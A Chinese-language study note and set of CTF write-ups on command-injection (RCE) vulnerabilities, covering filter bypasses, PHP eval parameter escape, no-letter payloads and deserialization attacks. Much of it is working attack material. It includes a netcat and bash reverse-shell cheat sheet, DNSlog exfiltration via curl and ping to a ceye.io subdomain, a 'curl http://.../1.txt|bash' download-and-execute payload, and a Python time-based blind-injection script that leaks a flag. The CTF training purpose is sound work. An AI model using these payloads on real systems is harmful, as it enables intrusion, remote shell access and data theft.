。知识
1
1.1 命令执行漏洞的概念
1.2 常用的系统命令
系统命令
awk
awk逐行获取数据
cat flag | awk NR==1
cut
命令逐列获取单个字符
cat flag | awk NR==2 | cut -c 1
if else
判断语句
if 语句语法格式:
if condition
then
command1
command2
...
commandN
fi
写成一行(适用于终端命令提示符):
if [ $(ps -ef | grep -c "ssh") -gt 1 ]; then echo "true"; fi
script
用于记录终端会话或命令行操作的输出
和输入
script [选项] [文件名]
选项:script
命令可以使用多种选项,其中一些常见的选项包括:
-a:追加模式,将输出附加到现有文件而不是覆盖它。
-c:执行命令后退出,而不是启动一个新shell。
-q:不显示启动和退出消息。
文件名:指定要将记录保存到的文件名。如果不提供文件名,script将使用默认文件名typescript
1.3 命令连接符
1.4 命令执行漏洞绕过过滤
1.5 Ping的探究
1.6 PHP命令执行函数
``
反引号可以执行系统命令, 但它不会输出结果
1.7 命令执行中自己写的过滤
1.7.1 命令中空格被过滤的解决方法:
{cat,flag.txt}
cat${IFS}flag.txt·················我猜截取
cat$IFS$9flag.txt ··················$IFS$9:$9指传过来的第9个参数
cat<flag.txt
cat<>flag.txt
%20(space)
%09(tab)
ls%09/
1.7.2 贪吃绕过:
①定义变量: 1;q=ag;cat$IFS$9fl$q.php
1.7.3 单词绕过
①\
l\s /
②‘’ 单引号
“” 双引号
${Z}
c'a't%09F'l'4'g_is_here
③nl
nl%09/F[a-z]4g_is_here
④使用base64编码读取
nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
输出flag
1.7.4 牛逼的参数逃逸
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
过滤了flag,system,php,cat,sort,shell,点号,空格,单引号
eval一个参数来逃逸,正则匹配时对c参数进行了限制:
?c=eval($_GET[8]);&x=phpinfo();
?c=eval($_GET[8]);&x=system('cp f* 1.txt');
2
2.1 cat tac nl读取文件
“cat
” 命令:
“cat” 的主要功能是将一个或多个文件的内容显示在屏幕上或将它们合并到一个新文件中。
示例:cat file1.txt file2.txt 将 file1.txt 和 file2.txt 的内容合并并输出到屏幕上或另存为新文件。
“tac
” 命令:
“tac” 是 “reverse of cat” 的缩写,它的作用是将文件的内容按行反向显示,即从最后一行到第一行。
示例:tac file.txt 将 file.txt 文件的内容按行反向显示。
“nl
” 命令:
nl 读取文件,并在文件的每一行前面标上行号, 且可以模糊匹配文件名
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\<|\>|Fl4g|php|curl| |0x|\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\\$\\{IFS\\}|index|\\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
nl是没有被禁掉, 我们就可以直接nl%09/F[a-z]4g_is_here运行
2.2 exec/shell_exec tee配合将输出存储—复现不了
exec
:
string exec ( string $command [, array &$output [, int &$return_var ]] )
参数说明:
$command 是要执行的命令,通常是一个字符串。
$output 是一个可选参数,用于捕获命令的输出。如果提供了这个参数,命令的输出将被存储在一个数组中,每行一个元素。
$return_var 是一个可选参数,用于存储命令的返回状态。一般情况下,如果命令成功执行,返回状态为 0,否则为非零值。
shell_exec
:
string shell_exec( string $cmd)
cmd 要执行的命令。
当进程执行过程中发生错误,或者进程不产生输出的情况下,都会返回 NULL
,所以,使用本函数无法通过返回值
检测进程是否成功执行
。如果需要检查进程执行的退出码,请使用 exec() 函数。
tee
:
在PHP中,可以使用 tee 命令来执行类似的功能,即将命令的输出保存到文件,并将其同时发送到标准输出。tee 命令通常在命令行中使用,但也可以通过 PHP 的 exec() 函数来执行。以下是一个示例:
<?php
$command = "echo 'Hello, World!' | tee output.txt";
$return_var = 0;
exec($command, $output, $return_var);
echo "Command Output:\n";
foreach ($output as $line) {
echo $line . "\n";
}
echo "Return Status: $return_var\n";
?>
上述代码执行了一个简单的命令,其中 echo ‘Hello, World!’ 将字符串 “Hello, World!” 输出到标准输出,而 tee output.txt 将这个输出保存到名为 “output.txt” 的文件中。
在这个示例中,tee 命令的输出会被保存到 “output.txt” 文件中,并且也会显示在标准输出中。您可以根据需要修改命令和文件名来满足您的要求。
2.3 句子间的符号
LINUX系统:
1、” ; “: 执行完前面的语句在执行后面的语句。
2、” | “: 管道符
:管道符主要用于多重命令处理,即将前面命令的输出作为后面命令的标准输入;简单点说就是,就像工厂的流水线一样,进行完一道工序后,继续传送给下一道工序处理…
举个栗子:对hello.sh文件进行排序去重以后找出包含"better"的行
命令为:cat hello.sh | sort | uniq | grep 'better’
输出最后一个命令执行得到的数据
linux之管道符详解
3、” || “:当前的语句执行出错时,执行后面的语句。
4、” & “:两条命令都执行,如果前面语句为假则执行后面的语句,前面的语句可真可假。
5、” && “:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则执行两条命令,前面的语句只能为真。
WINDOWS系统:
1、” | “ :是直接后面的执行语句
2、” || “ :如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才能执行。
3、” & “ :两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
4、” && “ :如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
注:windows没有“;”
2.5 echo printf打印
/?code=printf(`l\s /`);
2.6 使用base64编码读取
<?php
error_reporting(0);
function blacklist($cmd){
$filter = "(\<|\>|Fl4g|php|curl| |0x|\\|python|gcc|less|root|etc|pass|http|ftp|cd|tcp|udp|cat|×|flag|ph|hp|wget|type|ty|\$\{IFS\}|index|\*)";
if (preg_match("/".$filter."/is",$cmd)==1){
exit('Go out! This black page does not belong to you!');
}
else{
system($cmd);
}
}
blacklist($_GET['cmd']);
?>
[方法 0x00] 使用base64编码读取
linux的echo
可以解码base64
, 可以利用这个特性绕过正则, 输出工具用tac, nl
这些都行, 反引号意思是将echo的结果输出给前面的命令, /Fl4g_is_here
的加密结果为L0ZsNGdfaXNfaGVyZQ
所以可以直接使用
nl%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
或
tac%09`echo%09L0ZsNGdfaXNfaGVyZQ|base64%09-d`
输出flag
2.7 无回显RCE
快速
curl http://ip.port.cb4exz.ceye.io/`whoami`
ping `whoami`.ip.port.cb4exz.ceye.io
[0x00]无回显rce语句分析
在ctf中,有时会遇到无回显rce,就是说虽然可以进行命令执行,但却看不到命令执行的结果,也不知道命令是否被执行,借着这次总结rce的机会,就把它一起总结了
测试代码如下:
<?php
highlight_file(__FILE__);
$a=$_GET['a'];
exec("$a");
//$b=exec("$a");
//echo $b;
?>
命令执行函数我用的是exec
,因为这个函数本身是没有回显的,拿来做测试简直不能再合适
这里我们直接输入命令是没有回显的:
我们首先用sleep
命令看看命令是否被成功执行了,看下图它转了五秒之后才恢复说明命令是执行了的:
[0x01]反弹shell
(1)反弹shell的句式总结
netcat
一句话反弹
获取shell(想反弹谁的shell就在谁的后面加-e /bin/sh或-e /bin/bash)
正向shell: 客户端主动连接服务器并获取服务器shell
客户端主动连接并得到反弹shell
nc 服务端ip 8888
服务端监听连接
nc -lvp 8888 -e /bin/sh
# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe
反向shell: 服务器端连接并反弹shell给客户端
客户端监听
nc -lvp 8888
服务端连接客户端
nc 客户端ip 8888 -e /bin/sh
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe
Netcat反弹是非常常用的方法,只是这个方法需要我们手动去安装一个NC环境
bash
反弹shell
个人感觉bash反弹是最简单、也是最常见的一种。
bash -i >& /dev/tcp/我们靶机ip/我们靶机port 0>&1
bash一句话命令详解
以下针对常用的bash反弹一句话进行了拆分说明,具体内容如下。
其实以上bash反弹一句完整的解读过程就是:
bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。
反弹shell
遇到这种无回显的命令执行,很常见的一个思路是反弹shell,因为它虽然不会将命令执行的结果输出在屏幕上,但实际上这个命令它是执行了的,那我们就将shell反弹到自己服务器上,然后再执行命令肯定就可以看到回显了
一般来讲我们反弹shell都用的bash -i >& /dev/tcp/ip/port 0>&1
这条命令,但这里我不知道哪里出了问题,在docker中可以成功反弹但放到php命令执行中就反弹不了了,所以说无奈之下我就只能使用nc
进行反弹,但其实这是很不实用的,因为很多docker中都没有安装nc,这里就先演示一下用nc反弹,利用nc -e /bin/sh ip port
进行反弹:
可以看到已经反弹成功了,拿到了根目录下的flag哈哈
[0x02] dnslog
dnslog外带数据法
首先讲讲dns,这里用一个比较官方的解释吧,摘自百度百科:
DNS(域名解析):
域名解析是把域名指向网站空间IP,让人们通过注册的域名可以方便地访问到网站的一种服务。IP地址是网络上标识站点的数字地址,为了方便记忆,采用域名来代替IP地址标识站点地址。域名解析就是域名到IP地址的转换过程。域名的解析工作由DNS服务器完成。
域名解析也叫域名指向、服务器设置、域名配置以及反向IP登记等等。说得简单点就是将好记的域名解析成IP,服务由DNS服务器完成,是把域名解析到一个IP地址,然后在此IP地址的主机上将一个子目录与域名绑定。
而如果我们发起请求的目标不是IP地址而是域名的话,就一定会发生一次域名解析,那么假如我们有一个可控的二级域名,那么当它向下一层域名发起解析的时候,我们就能拿到它的域名解析请求。这就相当于配合dns请求完成对命令执行的判断,这就称之为dnslog。当然,发起一个dns请求需要通过linux中的ping
命令或者curl
命令哈
然后这里推荐一个dnslog的利用平台:ceye
http://ceye.io/
,,注册账号之后,会给一个域名,当发起的请求中含有这个域名时,平台就会有记录。好了,铺垫结束,下面正式开始测试:
还是这一段代码,我们用分号;作为命令的分隔符,然后发起curl请求,然后最后用反引号执行命令,具体如下:
然后就可以到ceye平台上取看到我们发起的请求了,可以看到whoami的结果也已经在上面显示了出来:
然后我们就尝试执行其它的命令比如像ls之类的,但这里需要注意的一点是,如果我们直接执行ls的话,它只会返回第一条结果,具体如下图所示:
那么为了让它显示出剩余的结果,我们就需要用到linux的sed
命令,用sed命令就可以实现对行的完美划分,这里利用题目不是很好演示,我就直接用kali进行演示,就像下图一样直接用就行,还是很方便的:
这样就可以完成任意的命令执行了,但是值得注意的是,因为有的字符可能会无法显示或者只显示部分信息,所以说执行命令的时候推荐使用base64
编码,然后再解开就好:
2.8 查找命令
find
find 路径 -name 参数
。实例
一。BUU
[ACTF2020 新生赛]Exec
进来就看到此,和PING相关,可能是命令执行
进行如下操作,进而确认
查看根目录
可以看flag咯
[GXYCTF2019]Ping Ping Ping
进来就看到要给IP传参,可能和PING相关
确实是
得index.php的源码时出现问题,应该要绕过空格过滤
1;cat$IFS$9index.php
请一个一个尝试一下
得到源码
<?php
if(isset($_GET['ip'])){
$ip = $_GET['ip'];
if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "<pre>";
print_r($a);
}
?>
过滤了
&, /, ?, *, <,在 0x00 到 0x1F 之间的字符(都是不可见字符),
>, ', ", , (, ), [, ], {, },
空格,
bash,
包含类似 “flag” 的字符序列
上面有绕过手法
payload:1;p=lag;cat$IFS$9f$p.php
ctrl+u
查看源代码,得flag
二。NSS
[SWPUCTF 2021 新生赛]easyrce
进来看到
eval
明显的命令执行漏洞
payload:
/?url=system('ls /');
/?url=system('cat /flllllaaaaaaggggggg ');
[SWPUCTF 2021 新生赛]hardrce
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
无字母RCE
题目没有过滤 | 以及~,我们可以考虑使用 或 操作或者 取反 操作,这里使用取反
我们首先对一串代码进行取反,然后再进行url编码,在发送请求的时候将其再次取反即可。因为取反之后基本都是不可见字符,所以基本上不会被正则匹配到
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"ls /");
——————
构造payload:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
——————
<?php
echo urlencode(~"system");
echo "<br>";
echo urlencode(~"ls /flllllaaaaaaggggggg");
——————
再构造payload:
?wllm=~(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
[LitCTF 2023]PHP是世界上最好的语言!!
payload:
system('ls /');
system('cat /flag');
[SWPUCTF 2021 新生赛]finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
过滤
bash–nc–wget–ping–ls–cat–more–less–phpinfo–base64–echo–php–python–mv–cp–la–\- --\*–\"–\>–\<–\%–\$
过滤了单词ls,+"\"来绕过过滤,exec不能输出,tee来存储内容
payload:
/?url=l\s / |tee 1.txt
访问1.txt
过滤了cat,我们用tac,过滤了la,我们+\
payload:
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt
访问2.txt
[UUCTF 2022 新生赛]ez_rce
居然都不输入参数,可恶!!!!!!!!!
<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
$code=$_GET['code'];
if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
eval($code);
}
else{
die("你想干什么?????????");
}
}
else{
echo "居然都不输入参数,可恶!!!!!!!!!";
show_source(__FILE__);
}
没有过滤 “ \ ” 和反引号``,因此构造:
/?code=printf(`l\s /`);
看到了fffffffffflagafag,直接查看即可:
/?code=printf(`c\at /fffffffffflagafag`);
得到flag:
NSSCTF{This_IS_s0_easy_RCE}
三。NewStarCTF 2023
R!C!E!
考点:
不合法字符 参数逃逸
疑点:
明明有eval,传参中还要eval
第一种方法
<?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
$password=md5($_POST['password']);
$code=$_POST['e_v.a.l'];
if(substr($password,0,6)==="c4d038"){
if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
eval($code);
}
}
}
[0x00]MD5值得是c4d038
开头
寻找合适值的脚本
# 指定MD5值的开头
import hashlib
prefix = "c4d038"
counter = 0
while True:
input_string = str(counter)
md5_hash = hashlib.md5(input_string.encode()).hexdigest()
if md5_hash.startswith(prefix):
print(f"Found a match: Input string '{input_string}' has an MD5 hash starting with '{prefix}'")
break
counter += 1
找到合适的值:114514
[0x01]非法字符绕过
再看下一个传参,可以发现这个变量名有下划线也有点。
$code=$_POST['e_v.a.l'];
这时候如果直接按这个变量名来传参,php 是无法接收到这个值的,具体原因是 php 会自动把一些不合法的字符转化为下划线(注:php8以下),比如这个点就会被转换为下划线,另外这种转换只会发生一次
。故直接传相当于传的变量名为e_v_a.l
。
于是为了防止我们的点被自动转换,我们可以先让第一个下划线位置为不合法字符,从而转换为下划线,不会再转换后面的点。比如可以传入 e[v.a.l 。
[0x02]参数逃逸
①
还要用绕过字符:
参数逃逸
payload:
password=114514&e[v.a.l=eval($_POST[8]);&8=system('ls /');
password=114514&e[v.a.l=eval($_POST[8]);&8=system('cat /flag');
②
最后看命令执行部分,这里是有一个黑名单的过滤:
if(!preg_match("/flag|system|pass|cat|ls/i",$code))
{
eval($code);
}
可以看到是禁止了 system 函数,可以采用 php 自带的函数
来达到一样的效果,先使用 scandir
看一下目录,注意 scandir 是不会回显输出的,记得加上 var_dump
。
e[v.a.l=var_dump(scandir('/'));
看到了 flag 在根目录下。但是黑名单过滤了 flag 关键字,我们没法直接读取,于是可以使用参数逃逸绕过限制
POST:password=114514&e[v.a.l=var_dump(file_get_contents($_POST['a']));&a=/flag
第二种方法
payload:
password=114514&e[v.a.l=eval($_POST[8]);&8=system('ls /');
password=114514&e[v.a.l=eval($_POST[8]);&8=system('cat /flag');
Unserialize?
<?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
private $cmd;
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
@unserialize($_POST['unser']);
?>
没有过滤nl
[0x00] 生成payload
<?php
class evil {
private $cmd = 'ls /';
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
$a = new evil;
echo urlencode(serialize($a));
private
直接改成public
也成立
POST:O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A4%3A%22ls+%2F%22%3B%7D
<?php
class evil {
private $cmd = 'nl /th1s_1s_fffflllll4444aaaggggg ';
public function __destruct()
{
if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
@system($this->cmd);
}
}
}
$a = new evil;
echo urlencode(serialize($a));
POST:O%3A4%3A%22evil%22%3A1%3A%7Bs%3A9%3A%22%00evil%00cmd%22%3Bs%3A34%3A%22nl+%2Fth1s_1s_fffflllll4444aaaggggg+%22%3B%7D
[0x01] 输入数据
R!!!C!!!E!!!
考点:
Bash盲注
疑点:
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
public function __toString()
{
if(!preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|tee|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $this->code)){
exec($this->code);
}
return "alright";
}
public function __destruct()
{
echo $this->qwejaskdjnlka;
}
}
if(isset($_POST['payload'])){
//wanna try?
unserialize($_POST['payload']);
}
第一种解法
过滤了
$ . ! @ # % ^ & * ? { } > < nc tee wget exec bash sh netcat grep
base64 rev curl wget gcc php python pingtouch mv mkdir cp/i
反弹,dnslog均不行
bash盲注
import time
import requests
url = "http://737d3958-e0ab-412d-abc9-18b899a99792.node4.buuoj.cn:81/"
result = ""
for i in range(1,15):
for j in range(1,50):
#ascii码表
for k in range(32,127):
k=chr(k)
payload =f"if [ `cat /flag_is_h3eeere | awk NR=={i} | cut -c {j}` == '{k}' ];then sleep 6;fi"
length=len(payload)
payload2 ={
"payload": 'O:7:"minipop":2:{{s:4:"code";N;s:13:"qwejaskdjnlka";O:7:"minipop":2:{{s:4:"code";s:{0}:"{1}";s:13:"qwejaskdjnlka";N;}}}}'.format(length,payload)
}
t1=time.time()
r=requests.post(url=url,data=payload2)
t2=time.time()
if t2-t1 >5:
result+=k
print(result)
result += " "
第二种解法
非预期就是直接用 ls / |script xxx,没给权限设死
然后在当前目录
访问文件xxx
即可
生成payload
<?php
highlight_file(__FILE__);
class minipop{
public $code;
public $qwejaskdjnlka;
}
$a = new minipop();
$a->code = "cat /flag_is_h3eeere | script aaa";
$b = new minipop();
$b->qwejaskdjnlka = $a;
echo serialize($b);
?>
O:7:“minipop”:2:{s:4:“code”;N;s:13:“qwejaskdjnlka”;O:7:“minipop”:2:{s:4:“code”;s:33:“cat /flag_is_h3eeere | script aaa”;s:13:“qwejaskdjnlka”;N;}}
四。SHCTF-2023
babyRCE
<?php
$rce = $_GET['rce'];
if (isset($rce)) {
if (!preg_match("/cat|more|less|head|tac|tail|nl|od|vi|vim|sort|flag| |\;|[0-9]|\*|\`|\%|\>|\<|\'|\"/i", $rce)) {
system($rce);
}else {
echo "hhhhhhacker!!!"."\n";
}
} else {
highlight_file(__FILE__);
}
难点:把文件读取函数都过滤了
考点:RCE:空格绕过、单词绕过
解决:${IFS} ${Z}
/?rce=ls${IFS}/
/?rce=c${Z}at${IFS}/fl${Z}ag
五。不知道什么来历
BJDCTF 2nd duangShell
COPY<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>give me a girl</title>
</head>
<body>
<center><h1>珍爱网</h1></center>
</body>
</html>
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
[0x00] 分析
提取出php代码
<?php
error_reporting(0);
echo "how can i give you source code? .swp?!"."<br>";
if (!isset($_POST['girl_friend'])) {
die("where is P3rh4ps's girl friend ???");
} else {
$girl = $_POST['girl_friend'];
if (preg_match('/\>|\\\/', $girl)) {
die('just girl');
} else if (preg_match('/ls|phpinfo|cat|\%|\^|\~|base64|xxd|echo|\$/i', $girl)) {
echo "<img src='img/p3_need_beautiful_gf.png'> <!-- He is p3 -->";
} else {
//duangShell~~~~
exec($girl);
}
}
可以看到,这就是一个有过滤情况下的无回显rce
,虽然是看起来过滤的比较多,基本思路是反弹shell
[0x01] dnslog
但这个靶机在内网操作起来可能有点麻烦,而且像一些重要的比如curl 反引号都没有被过滤掉
,所以说我想尝试直接把数据外带出来
,先尝试whoami发现没问题:
那就说明除了上面那些被禁的函数以外,可以执行任何命令,不过禁了ls
是真的烦,然后由于它禁了$
,上篇文章中讲到的找flag的语句cat $(find / -name flag*)
就用不了了,我先盲猜一下它在根目录下名字叫flag,试试行不行,cat
被过滤掉了我就直接用tac
,这个问题不大,发现还真有这个文件:
只不过嘛,这个内容就很狗,还要让自己去找flag,那我就试试用find去找,说实话这时候我心里也没底,只能说试试,用的这条语句 find / -name flag
:
不过运气是真的好哈哈哈,直接出来了路径,那就稳了啊,直接读它就完事儿了:
出来了出来了,加上{}
就是最终的flag,不过我看wp的时候方法都是用反弹shell做的,不知道我这种算不算非预期解,想了解那种方法的可以自行百度,这里也推荐两篇文章:
[0x02] 反弹shell
由于这题的环境靶机无法访问外网,所以需要一个内网靶机来做,这里就直接用了题目中推荐的Basic中的Linux Labs,由于这台靶机已经安装了lamp,已指出http服务,
我们用xshell连上这个靶机,并用ifconfig命令查看靶机的ip:
在我们靶机的/var/www/html新建一个能反弹shell的命令文件(1.txt),里面写入命令:bash -i >& /dev/tcp/ip/port 0>&1
,ip
是内网靶机的ip,port
可以随意指定
设置nc连接,监听题目机的连接:
此时,我们要让题目的服务器连接到我们的靶机上,并反弹题目机的shell
我们在hackbar里面girl_friend=curl http://174.1.222.185/1.txt|bash
(这样题目机获取了我们靶机中1.txt里面的命令,被将其执行。)
发送,靶机就连上了,并反弹了shell:
直接find查找flag
find / -name flag